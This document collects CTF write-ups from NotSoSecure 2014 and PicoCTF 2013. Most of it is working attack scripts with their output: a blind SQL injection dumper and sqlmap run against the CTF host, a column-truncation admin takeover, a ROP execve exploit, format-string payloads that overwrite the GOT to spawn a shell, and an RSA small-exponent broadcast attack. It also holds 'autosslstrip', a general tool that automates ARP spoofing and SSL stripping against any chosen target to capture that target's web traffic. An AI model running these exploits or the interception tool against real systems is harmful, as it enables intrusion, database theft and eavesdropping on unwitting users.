# NotSoSecure CTF April 2k14


Flag 1 - Column truncation

# cat get_register_page
#!/bin/bash

url='http://ctf.notsosecure.com/9128938921839838/'

comment=`curl --silent --location --request GET $url | grep -e '<!--' | tail -n 1 | awk -F '-' '{print $3}' | tr -d ' '`
echo $comment
echo $comment | base64 -d | gunzip ; echo

# ./get_register_page 
H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA
R3gi5t3r.html

# cat get_flag_1
#!/bin/bash

regname="`echo -n \"$1\" | sed 's/ /%20/g'`"
regemail="$2"
regpass="$3"
url='http://ctf.notsosecure.com/9128938921839838'
register_url="$url/register.php?regname=$regname&regemail=$regemail&regpass1=$regpass&regpass2=$regpass"
cookie="nss"

curl --silent --request GET $register_url | grep -e 'successfully' -e 'Already'

checklogin_url="$url/checklogin.php"                                             
curl --silent --location --request POST --cookie-jar $cookie --cookie $cookie --data "myusername=admin&mypassword=$regpass" $checklogin_url | grep -e 'Flag' -e 'feedback'

# ./get_flag_1 'admin               nss' 'fake@mail.com' 's3cur3'
              <h3 style="text-align: center;font-size: 30px;">You have registered successfully</h3>
       <h4 style="text-align: center;">Well done, 1st Flag is 67326289</h4>
      <center><a href="f33db4ck_flag/index.php" class="btn">feedback</a></center>

Flag 2 - Blind SQLi in HTTP Referer

# cat get_flag_2
#!/bin/bash

./feedback_base

echo "=== Dump tables ==="
./dump_tables

echo "=== Dump columns from flag table ==="
./dump_columns flag

echo "=== Dump flags from flag column ==="
./dump_flags flag flag

# cat feedback_base
#!/bin/bash

ofile="normal"
name="name"
email="email"
message="message"
url='ctf.notsosecure.com/9128938921839838'
feedback_url="$url/f33db4ck_flag/submit.php"

curl --silent --request POST --data "name=$name&email=$email&message=$message&submit=Submit" $feedback_url > $ofile

# cat dump_tables
#!/bin/bash

t=0
while true; do
    error=`./feedback "(select count(distinct table_name) from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql')=$t" | grep Error`
    if [ "$error" != "" ]; then
        t=$[$t+1]
    else
        break
    fi
done

echo "#tables = $t"

for i in `seq 0 $[$t-1]`; do
    echo -n "table[$i] = "
    j=1
    while true; do
        error=`./feedback "(select length(table_name) from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit $i,1)=$j" | grep Error`
        if [ "$error" != "" ]; then
            j=$[$j+1]
        else
            break
        fi
    done
    for k in `seq 1 $j`; do
        for l in `echo {a..z} {0..9}`; do
            error=`./feedback "(select substring(table_name,$k,1) from information_schema.columns where table_schema not like '%_schema' and table_schema!='mysql' group by table_name limit $i,1)='$l'" | grep Error`
            if [ "$error" == "" ]; then
                echo -n $l
                break
            fi
        done
    done
    echo
done

# cat dump_columns 
#!/bin/bash

table="$1"
c=0
while true; do
    error=`./feedback "(select count(distinct column_name) from information_schema.columns where table_name='$table')=$c" | grep Error`
    if [ "$error" != "" ]; then
        c=$[$c+1]
    else
        break
    fi
done

echo "table = $table"
echo "#columns = $c"

for i in `seq 0 $[$c-1]`; do
    echo -n "column[$i] = "
    j=1
    while true; do
        error=`./feedback "(select length(column_name) from information_schema.columns where table_name='$table' limit $i,1)=$j" | grep Error`
        if [ "$error" != "" ]; then
            j=$[$j+1]
        else
            break
        fi
    done
    for k in `seq 1 $j`; do
        for l in `echo {a..z} {0..9}`; do
            error=`./feedback "(select substring(column_name,$k,1) from information_schema.columns where table_name='$table' limit $i,1)='$l'" | grep Error`
            if [ "$error" == "" ]; then
                echo -n $l
                break
            fi
        done
    done
    echo
done

# cat dump_flags 
#!/bin/bash

table="$1"
column="$2"
f=0
while true; do
    error=`./feedback "(select count(distinct $column) from $table)=$f" | grep Error`
    if [ "$error" != "" ]; then
        f=$[$f+1]
    else
        break
    fi
done

echo "table = $table"
echo "column = $table"
echo "#flags = $f"

for i in `seq 0 $[$f-1]`; do
    echo -n "flag[$i] = "
    j=1
    while true; do
        error=`./feedback "(select length($column) from $table limit $i,1)=$j" | grep Error`
        if [ "$error" != "" ]; then
            j=$[$j+1]
        else
            break
        fi
    done
    for k in `seq 1 $j`; do
        for l in `echo {a..z} {0..9}`; do
            error=`./feedback "(select substring($column,$k,1) from $table limit $i,1)='$l'" | grep Error`
            if [ "$error" == "" ]; then
                echo -n $l
                break
            fi
        done
    done
    echo
done

# ./cat feedback
#!/bin/bash

function compare {
    grep Thanks $ofile
    diff normal $ofile
    rm $ofile
}

function encode {
    echo -n "$1" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g'
}

ofile="$RANDOM"
name="name"
email="email"
message="message"
condition="$1"
injection="'+(select if($condition,'1',(select table_name from information_schema.columns limit 1,2)))+'"
referer="`encode "$injection"`"
url='ctf.notsosecure.com/9128938921839838'
feedback_url="$url/f33db4ck_flag/submit.php"

#--proxy 127.0.0.1:8080
curl --silent --referer "$referer" --request POST --data "name=$name&email=$email&message=$message&submit=Submit" $feedback_url > $ofile
compare

# ./get_flag_2
=== Dump tables ===
#tables = 2
table[0] = flag
table[1] = temp
=== Dump columns from flag table ===
table = flag
#columns = 1
column[0] = flag
=== Dump flags from flag column ===
table = flag
column = flag
#flags = 1
flag[0] = 1362390

Flag 2 - Blind SQLi in HTTP Referer (sqlmap)

# cat do_sqlmap 
#!/bin/bash

function sqlm {
    args="$1"
    echo "$args"
    url='http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php'
    referer='%27||(select(1)regexp(IF(1=1*,1,%27%27)))||%27'
    string='Thanks!, we will be in touch...'
    sqlmap \
        --url="$url" \
        --referer="$referer" \
        --string="$string" \
        --technique=B \
        --threads=4 \
        --answers='it?=Y,any)?=y' \
        $args
}

echo "=== Fingerprint ==="
sqlm
echo "=== Enumerate DBMS databases ==="
sqlm "--dbms=MySQL --dbs"
echo "=== Enumerate DBMS database tables ==="
sqlm "--dbms=MySQL -D seven --tables"
echo "=== Enumerate DBMS database table columns ==="
sqlm "--dbms=MySQL -D seven -T flag --columns"
echo "=== Dump DBMS database table entries ==="
sqlm "--dbms=MySQL -D seven -T flag -C flag --dump"

# ./do_sqlmap
=== Fingerprint ===

sqlmap identified the following injection points with a total of 16 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: Referer #1*
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: '||(select(1)regexp(IF(1=1 AND 4549=4549,1,'')))||'
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL >= 5.0.0

=== Enumerate DBMS databases ===
--dbms=MySQL --dbs

available databases [2]:
[*] information_schema
[*] seven

=== Enumerate DBMS database tables ===
--dbms=MySQL -D seven --tables

Database: seven
[2 tables]
+------+
| flag |
| temp |
+------+

=== Enumerate DBMS database table columns ===
--dbms=MySQL -D seven -T flag --columns

Database: seven
Table: flag
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(20) |
+--------+-------------+

=== Dump DBMS database table entries ===
--dbms=MySQL -D seven -T flag -C flag --dump

Database: seven
Table: flag
[1 entry]
+---------+
| flag    |
+---------+
| 1362390 |
+---------+

# PicoCTF 2k13 - Overflow 5


$ gdb buffer_overflow_shellcode_hard
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080483c0 <+0>: push   ebp
   0x080483c1 <+1>: mov    ebp,esp
   0x080483c3 <+3>: and    esp,0xfffffff0
   0x080483c6 <+6>: sub    esp,0x10
   0x080483c9 <+9>: cmp    DWORD PTR [ebp+0x8],0x2
   0x080483cd <+13>: je     0x80483e2 <main+34>
   0x080483cf <+15>: mov    DWORD PTR [esp],0x80485c0
   0x080483d6 <+22>: call   0x8048390 <puts@plt>
   0x080483db <+27>: mov    eax,0x1
   0x080483e0 <+32>: leave  
   0x080483e1 <+33>: ret    
   0x080483e2 <+34>: call   0x8048370 <geteuid@plt>
   0x080483e7 <+39>: mov    DWORD PTR [esp+0x8],eax
   0x080483eb <+43>: mov    DWORD PTR [esp+0x4],eax
   0x080483ef <+47>: mov    DWORD PTR [esp],eax
   0x080483f2 <+50>: call   0x8048360 <setresuid@plt>
   0x080483f7 <+55>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483fa <+58>: mov    eax,DWORD PTR [eax+0x4]
   0x080483fd <+61>: mov    DWORD PTR [esp],eax
   0x08048400 <+64>: call   0x80484c0 <vuln>
   0x08048405 <+69>: xor    eax,eax
   0x08048407 <+71>: leave  
   0x08048408 <+72>: ret    
End of assembler dump.
(gdb) disassemble vuln
Dump of assembler code for function vuln:
   0x080484c0 <+0>: sub    esp,0x41c
   0x080484c6 <+6>: mov    eax,DWORD PTR [esp+0x420]
   0x080484cd <+13>: mov    DWORD PTR [esp+0x4],eax
   0x080484d1 <+17>: lea    eax,[esp+0x10]
   0x080484d5 <+21>: mov    DWORD PTR [esp],eax
   0x080484d8 <+24>: call   0x8048380 <strcpy@plt>
   0x080484dd <+29>: add    esp,0x41c
   0x080484e3 <+35>: ret    
End of assembler dump.
(gdb) break main
(gdb) run
(gdb) info proc mappings 
process 21137
Mapped address spaces:

 Start Addr   End Addr       Size     Offset objfile
  0x8048000  0x8049000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
  0x8049000  0x804a000     0x1000        0x0 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
  0x804a000  0x804b000     0x1000     0x1000 /problems/stack_overflow_5_0353c1a83cb2fa0d/buffer_overflow_shellcode_hard
 0xf7e28000 0xf7e29000     0x1000        0x0 
 0xf7e29000 0xf7fca000   0x1a1000        0x0 /lib32/libc-2.15.so
 0xf7fca000 0xf7fcc000     0x2000   0x1a1000 /lib32/libc-2.15.so
 0xf7fcc000 0xf7fcd000     0x1000   0x1a3000 /lib32/libc-2.15.so
 0xf7fcd000 0xf7fd1000     0x4000        0x0 
 0xf7fda000 0xf7fdb000     0x1000        0x0 
 0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
 0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib32/ld-2.15.so
 0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib32/ld-2.15.so
 0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib32/ld-2.15.so
 0xfffdd000 0xffffe000    0x21000        0x0 [stack]
$ ./ROPgadget /lib32/libc-2.15.so /bin/dash 2>&1 | grep -A 1000 python | sed -e "s/p = ''/p = '\\\x90'*1036/" -e 's/off = 0x0/off = 0xf7e29000/' > ~/rop.py
# cat ~/rop.py 
#!/usr/bin/python
# execve generated by Ropgadget v4.0.4
from struct import pack

p = '\x90'*1036
# Padding goes here

# This ROP Exploit has been generated for a shared object.
# The addresses of the gadgets will need to be adjusted.
# Set this variable to the offset of the shared library
off = 0xf7e29000

p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee0) # @ .data
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "/bin" # /bin
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee4) # @ .data + 4
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "/das" # /das
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee8) # @ .data + 8
p += "AAAA" # padding
p += pack("<I", off + 0x00023f78) # pop eax ; ret
p += "hAAA" # hAAA
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += "AAAA" # padding
p += pack("<I", off + 0x00032e30) # xor eax,eax ; ret
p += pack("<I", off + 0x0007416a) # mov DWORD PTR [ecx],eax ; ret
p += pack("<I", off + 0x000192ee) # pop ebx ; ret
p += pack("<I", off + 0x001a3ee0) # @ .data
p += pack("<I", off + 0x000f35df) # pop edx ; pop ecx ; pop eax ; ret
p += "AAAA" # padding
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += "AAAA" # padding
p += pack("<I", off + 0x00001a9e) # pop edx ; ret
p += pack("<I", off + 0x001a3ee9) # @ .data + 9
p += pack("<I", off + 0x00032e30) # xor eax,eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x000082ac) # inc eax ; ret
p += pack("<I", off + 0x0002e2f5) # int 0x80
print p
$ ./buffer_overflow_shellcode_hard `python ~/rop.py`
$ cat key
most_impressive_young_padawan

# PicoCTF 2k13 - Mildly Evil


$ objdump -M intel -d mildly_evil 

mildly_evil:     file format elf32-i386

Disassembly of section .text:

080480b8 <_start>:
 80480b8: bd 2c 91 04 08        mov    ebp,0x804912c
 80480bd: 89 ec                 mov    esp,ebp
 80480bf: eb 00                 jmp    80480c1 <go>

080480c1 <go>:
 80480c1: 39 e5                 cmp    ebp,esp
 80480c3: 7f 59                 jg     804811e <exit>
 80480c5: 58                    pop    eax
 80480c6: 5b                    pop    ebx
 80480c7: 59                    pop    ecx
 80480c8: 85 c0                 test   eax,eax
 80480ca: 7c 2f                 jl     80480fb <gc>
 80480cc: 85 db                 test   ebx,ebx
 80480ce: 7c 14                 jl     80480e4 <pc>
 80480d0: 8d 44 85 00           lea    eax,[ebp+eax*4+0x0]
 80480d4: 8b 00                 mov    eax,DWORD PTR [eax]
 80480d6: 8d 5c 9d 00           lea    ebx,[ebp+ebx*4+0x0]
 80480da: 29 03                 sub    DWORD PTR [ebx],eax
 80480dc: 7f e3                 jg     80480c1 <go>
 80480de: 8d 64 8d 00           lea    esp,[ebp+ecx*4+0x0]
 80480e2: eb dd                 jmp    80480c1 <go>

080480e4 <pc>:
 80480e4: 8d 4c 85 00           lea    ecx,[ebp+eax*4+0x0]
 80480e8: ba 01 00 00 00        mov    edx,0x1
 80480ed: bb 01 00 00 00        mov    ebx,0x1
 80480f2: b8 04 00 00 00        mov    eax,0x4
 80480f7: cd 80                 int    0x80
 80480f9: eb c6                 jmp    80480c1 <go>

080480fb <gc>:
 80480fb: 8d 74 9d 00           lea    esi,[ebp+ebx*4+0x0]
 80480ff: b9 28 91 04 08        mov    ecx,0x8049128
 8048104: ba 01 00 00 00        mov    edx,0x1
 8048109: 31 db                 xor    ebx,ebx
 804810b: b8 03 00 00 00        mov    eax,0x3
 8048110: cd 80                 int    0x80
 8048112: b8 28 91 04 08        mov    eax,0x8049128
 8048117: 0f b6 00              movzx  eax,BYTE PTR [eax]
 804811a: 01 06                 add    DWORD PTR [esi],eax
 804811c: eb a3                 jmp    80480c1 <go>

0804811e <exit>:
 804811e: b8 01 00 00 00        mov    eax,0x1
 8048123: 31 db                 xor    ebx,ebx
 8048125: cd 80                 int    0x80

$ cat bruteforce.sh 
#!/bin/bash

alphabet=`echo - {0..9} {A..Z} _ {a..z}`
key=''

cat > gdb.script << eof
break go
ignore 1 999999
run < key
info breakpoints
quit
eof

while [ true ]; do
    min_hits=999999
    f=0
    for i in $alphabet; do
        echo -n $i
        echo $key$i > key
        output=`gdb -q ./mildly_evil < gdb.script 2>&1`
        wrong=`echo "$output" | grep 'Wrong'`
        hits=`echo "$output" | grep 'already hit' | awk '{print $4}'`
        if [ "$wrong" != "" ]; then
            if [ $hits -lt $min_hits ]; then
                min_hits=$hits
                if [ $f -eq 1 ]; then 
                    key=$key$i
                    break
                fi
                f=1
            fi
        else
            echo 
            rm -f gdb.script key
            exit
        fi
        echo -ne '\b'
    done
done
$ ./bruteforce.sh
1337RE_m4ster
$ cat bruteforce.py 
import re
import gdb
import sys

def ge(command):
    return gdb.execute(command, False, True)

alphabet = []
alphabet.append(chr(45))
for i in xrange(48,58):
    alphabet.append(chr(i))
for i in xrange(65,91):
    alphabet.append(chr(i))
alphabet.append(chr(95))
for i in xrange(97,123):
    alphabet.append(chr(i))
key = ''
ofile = 'result.txt'

ge("set pagination off")
ge("set confirm off")
ge("file mildly_evil")
ge("break go")

while True:
    min_hits = 999999
    m = 0
    for i in alphabet:
        sys.stdout.write(i)
        sys.stdout.flush()
        ge("ignore 1 999999")
        gdb.execute("run <<< '" + key + i + "' > " + ofile, False, True)
        f = open(ofile, 'r')
        wrong = re.findall("Wrong", f.read())
        f.close()
        output = ge("info breakpoints")
        hits  = int(re.findall("hit ([0-9]+) times", output)[0])
        if wrong:
            if hits < min_hits:
                min_hits = hits
                if m == 1:
                    key += i
                    break
                m = 1
        else:
            print
            sys.exit()
        sys.stdout.write('\b')
ge("quit")
$ gdb -q -n -x bruteforce.py
1337RE_m4ster

# offsetbruteforcer


$ cat offsetbruteforcer.py 
import subprocess
import struct

for i in xrange(1, 255):
 print i

 ### arg = "/bin/sh;" + struct.pack('B', i) + "\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"
 ### program = "./format2"
 arg = ""
 program = ""

 output = subprocess.Popen([program, arg])
 output.communicate()

# PicoCTF 2k13 - Format 2


$ cat format2.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, const char **argv) {
    be_nice_to_people();
    char buf[80];
    snprintf(buf, 70, argv[1]);
    printf(buf);
    printf("\n");
    system("/bin/ls");
    exit(0);
}
$ objdump -R format2
format2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   printf
0804a004 R_386_JUMP_SLOT   getegid
0804a008 R_386_JUMP_SLOT   system
0804a00c R_386_JUMP_SLOT   __gmon_start__
0804a010 R_386_JUMP_SLOT   exit
0804a014 R_386_JUMP_SLOT   __libc_start_main
0804a018 R_386_JUMP_SLOT   snprintf
0804a01c R_386_JUMP_SLOT   putchar
0804a020 R_386_JUMP_SLOT   setresgid
$ gdb -q format2
(gdb) x/xw 0x0804a008
0x804a008 : 0x080483e6
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804852d <+0>: push   ebp
   0x0804852e <+1>: mov    ebp,esp
   0x08048530 <+3>: and    esp,0xfffffff0
   0x08048533 <+6>: add    esp,0xffffff80
   0x08048536 <+9>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048539 <+12>: mov    DWORD PTR [esp+0x1c],eax
   0x0804853d <+16>: mov    eax,gs:0x14
   0x08048543 <+22>: mov    DWORD PTR [esp+0x7c],eax
   0x08048547 <+26>: xor    eax,eax
   0x08048549 <+28>: call   0x8048504 <be_nice_to_people>
   0x0804854e <+33>: mov    eax,DWORD PTR [esp+0x1c]
   0x08048552 <+37>: add    eax,0x4
   0x08048555 <+40>: mov    eax,DWORD PTR [eax]
   0x08048557 <+42>: mov    DWORD PTR [esp+0x8],eax
   0x0804855b <+46>: mov    DWORD PTR [esp+0x4],0x46
   0x08048563 <+54>: lea    eax,[esp+0x2c]
   0x08048567 <+58>: mov    DWORD PTR [esp],eax
   0x0804856a <+61>: call   0x8048420 <snprintf@plt>
   0x0804856f <+66>: lea    eax,[esp+0x2c]
   0x08048573 <+70>: mov    DWORD PTR [esp],eax
   0x08048576 <+73>: call   0x80483c0 <printf@plt>
   0x0804857b <+78>: mov    DWORD PTR [esp],0xa
   0x08048582 <+85>: call   0x8048430 <putchar@plt>
   0x08048587 <+90>: mov    DWORD PTR [esp],0x8048670
   0x0804858e <+97>: call   0x80483e0 <system@plt>
   0x08048593 <+102>: mov    DWORD PTR [esp],0x0
   0x0804859a <+109>: call   0x8048400 <exit@plt>
End of assembler dump.
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
__libc_start_main(0x804852d, 2, -10508, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh", 70, "/bin/sh;\002\326\377\377\017\326"..., 0xf7ff249c, 0xffffd694, 0, 0)                        = 134513638
printf("/bin/sh"sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x02\xd6\xff\xff" + "\x0f\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*9 + "%.31x" + "%hn" + "%hn" + "%134513534d" + "%n"'`
Segmentation fault
$ # 0x804a000 <printf@got.plt>: 0x080483c6 --> 0x080483e6
$ ltrace ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
__libc_start_main(0x804852d, 2, -10492, 0x80485a0, 0x8048610 <unfinished ...>
getegid()                                                                                                           = 8013
setresgid(8013, 8013, 8013, 0xf7ffd918, 0)                                                                          = 0
snprintf("/bin/sh;\033\326\377\377\220\220\220M", 70, "/bin/sh;\033\326\377\377\220\220"..., 0xf7ff249c, 0xffffd6a4, 0, 0, 0xffffd704, 0x80482cb) = 134513638
printf("/bin/sh;\033\326\377\377\220\220"...sh-4.2$ id
uid=8013(user6748) gid=8013(user6748) groups=8013(user6748)
$ ./format2 `python -c 'print "/bin/sh;" + "\x1b\xd6\xff\xff" + "\x90"*4 + "\x01\xa0\x04\x08" + "%x"*10 + "%hn" + "%134513561d" + "%n"'`
Illegal instruction
$ # 0x804a01c <putchar@got.plt>: 0x08048436 --> 0x0804858e
$ export PATH=$PATH:$HOME
$ ln -s /bin/dash $HOME/$'\307\004\206\004\b\350M\376\377\377\307\004$'
$ ./format2 `python -c 'print "\x1c\xa0\x04\x08" + "%134514058d" + "%9$n"'`
$ id
uid=8013(user6748) gid=3006(format2) groups=8013(user6748)
$ cat key
now_youre_a_format_string_master

# autosslstrip: Automating sslstrip


# cat autosslstrip 
#!/bin/bash

ACTION="$1"
INTERFACE="$2"
TARGET="$3"
GATEWAY="$4"
LOGFILE="$5"
DEBUG="$6"

SS_PORT=44380

if [ "$DEBUG" != "--debug" ]; then
 exec 2> /dev/null
fi

function forward {
 echo $1 > /proc/sys/net/ipv4/ip_forward
}

function killtail {
 logfile=`ps axuf | grep sslstrip | grep ' hook'`
 if [ "`echo $logfile | grep '\-\-debug'`" != "" ]; then
  logfile=`echo "$logfile" | awk '{print $(NF-1)}'`
 else
  logfile=`echo "$logfile" | awk '{print $NF}'`

 fi
 pid=`ps axuf | grep tail | grep $logfile | awk '{print $2}'`
 kill -9 $pid
}

function dotail {
 touch $LOGFILE
 tail -f $LOGFILE \
 | stdbuf -oL grep -A 10 'Sending Request: ' \
 | stdbuf -oL grep -e 'Sending Request: ' -e 'header: host' \
 | stdbuf -oL grep -A 1 -v -e 'host' -e '.bmp' -e '.css' -e '.gif' -e '.ico' -e '.jpg' -e '.js' -e '.png'  -e '.swf' -e '.woff' \
 | stdbuf -oL grep -v -e '--' \
 | stdbuf -oL sed -e 's/.*: host : \(.*\)/HOST \1\n/' -e 's/.*Request: //'
}

function redirect {
 action="$1"
 iptables --table nat $action PREROUTING \
   --in-interface $INTERFACE --protocol tcp --destination-port 80 --jump REDIRECT --to-port $SS_PORT
}

function main {
 if [ "$ACTION" == "hook" ]; then
  forward 1
   redirect --append
  arpspoof -i $INTERFACE -t $TARGET $GATEWAY > /dev/null 2>&1 &
  sslstrip --all --killsessions --listen=$SS_PORT --write=$LOGFILE > /dev/null 2>&1 &
  dotail
 elif [ "$ACTION" == "unhook" ]; then
  killtail
  killall sslstrip
  killall arpspoof
  redirect --delete
  forward 0
 fi
}

main
# ./autosslstrip hook eth0 10.0.1.10 10.0.1.1 /tmp/log.txt --debug
# ./autosslstrip unhook eth0

# PicoCTF 2k13 - Broken RSA


# cat broken_rsa_source.py 
#!/usr/bin/env python
import os
from Crypto.PublicKey import RSA
import SocketServer
import threading
import time

flag = "RSA_isn't_so_great_after_all?!"

class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    cur_thread = threading.current_thread()
    welcome = """
*******************************************
***             Welcome to the          ***
***    FlAg EnCrYpTiOn SeRviCe 9000!    ***
*******************************************

We encrypt the flags, you get the points!
"""
    self.request.send(welcome)
    rsa = RSA.generate(1024,os.urandom)
    n = getattr(rsa,'n')

    #no one will ever be able to solve our super challenge!
    self.request.send("To prove how secure our service is ")
    self.request.send("here is an encrypted flag:\n")
    self.request.send("==================================\n")
    self.request.send(hex(pow(int(flag.encode("hex"), 16),3,n)))
    self.request.send("\n==================================\n")
    self.request.send("Find the plaintext and we'll give you points\n\n")
    
    while True:
      self.request.send("\nNow enter a message you wish to encrypt: ")
      m = self.request.recv(1024)
      self.request.send("Your super unreadable ciphertext is:\n")
      self.request.send("==================================\n")
      self.request.send(hex(pow(int(m.encode("hex"), 16),3,n))) 
      self.request.send("\n==================================\n")

server = threadedserver(("0.0.0.0", 6666), incoming)
server.timeout = 4
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

server_thread.join()
# cat crack_rsa.py 
#!/usr/bin/python

import collections
import gmpy
import re
import socket
import time

HOST = 'localhost'
PORT = 6666
NC   = 3
NM   = 3

cf = []
n  = []

def egcd(a, b):
 if a == 0:
  return (b, 0, 1)
 else:
  g, y, x = egcd(b % a, a)
  return (g, x - (b // a) * y, y)

def modinv(a, m):
 g, x, y = egcd(a, m)
 if g != 1:
  return None  # modular inverse does not exist
 else:
  return x % m

def chinese_remainder_theorem(cf, n):
 if coprime(n):
  a0 = n[1] * n[2]
  a1 = n[0] * n[2]
  a2 = n[0] * n[1]
  b0 = modinv(a0, n[0])
  b1 = modinv(a1, n[1])
  b2 = modinv(a2, n[2])
  c0 = cf[0]
  c1 = cf[1]
  c2 = cf[2]
  return ((a0 * b0 * c0) + (a1 * b1 * c1) + (a2 * b2 * c2)) % (n[0] * n[1] * n[2])
 else:
  return 'The numbers are not coprimes'

def coprime(n):
 l = len(n)
 for i in range(l):
  a = i % l 
  b = (i + 1) % l
  if gmpy.gcd(n[a], n[b]) != 1:
   return False
 return True
 
class Connection:
 def __init__(self, h, p, nm):
  self.sleep = 0.2
  self.size = 50
  self.nm = nm
  self.message = []
  self.i_message = []
  for i in range(self.nm):
   s = str(i) * self.size
   self.message.append(s)
   self.i_message.append(self.m_to_int(s))
  self.server_socket = (h, p)
 def connect(self):
  self.cmessage = [ '', '', '' ]
  self.i_cmessage = [ '', '', '' ]
  self.cflag = ''
  self.n = ''
  self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  self.client.connect(self.server_socket)
 def get_cipher_flag(self):
  self.client.recv(1024)
  time.sleep(self.sleep)
  self.cflag = int(re.search('0x.*', self.client.recv(1024)).group(0)[2:-1], 16)
  print 'cflag = ', self.cflag
 def get_cipher_message(self, num):
  self.client.send(self.message[num])
  self.client.recv(1024)
  time.sleep(self.sleep)
  self.cmessage[num] = re.search('0x.*', self.client.recv(1024)).group(0)
  self.i_cmessage[num] = self.cm_to_int(self.cmessage[num])
 def m_to_int(self, s):
  exp = 3
  return pow(int(s.encode('hex'), 16), exp)
 def cm_to_int(self, s):
  return int(s[2:-1], 16)
 def get_gcd(self):
  c = collections.Counter()
  for i in range(self.nm):
   n = i % self.nm 
   m = (i + 1) % self.nm
   c[gmpy.gcd(self.i_message[n] - self.i_cmessage[n], self.i_message[m] - self.i_cmessage[m])] += 1
  n = c.most_common(1)[0]
  if n[0] > 1:
   print 'n     = ', n[0]
   self.n = gmpy.mpz(n[0])
 def disconnect(self):
  self.client.close()

c = Connection(HOST, PORT, NM)
for i in range(NC):
 c.connect()
 c.get_cipher_flag()
 for j in range(NM):
  c.get_cipher_message(j)
 c.get_gcd()
 cf.append(c.cflag)
 n.append(c.n)
 c.disconnect()

crt = chinese_remainder_theorem(cf, n)
print hex(int(gmpy.mpz(crt).root(3)[0]))[2:-1].decode('hex')
# ./crack_rsa.py
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  135953784270768443683613403195167981915031252138094570429369041989727851055124422396867423943809003975436286026628304014780104754769108750066849076612355407811413680217618966981934851066430783270443526817656919939971313423309707876858646782024226363140350626824949333424034972566150688727067529487352636390043
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
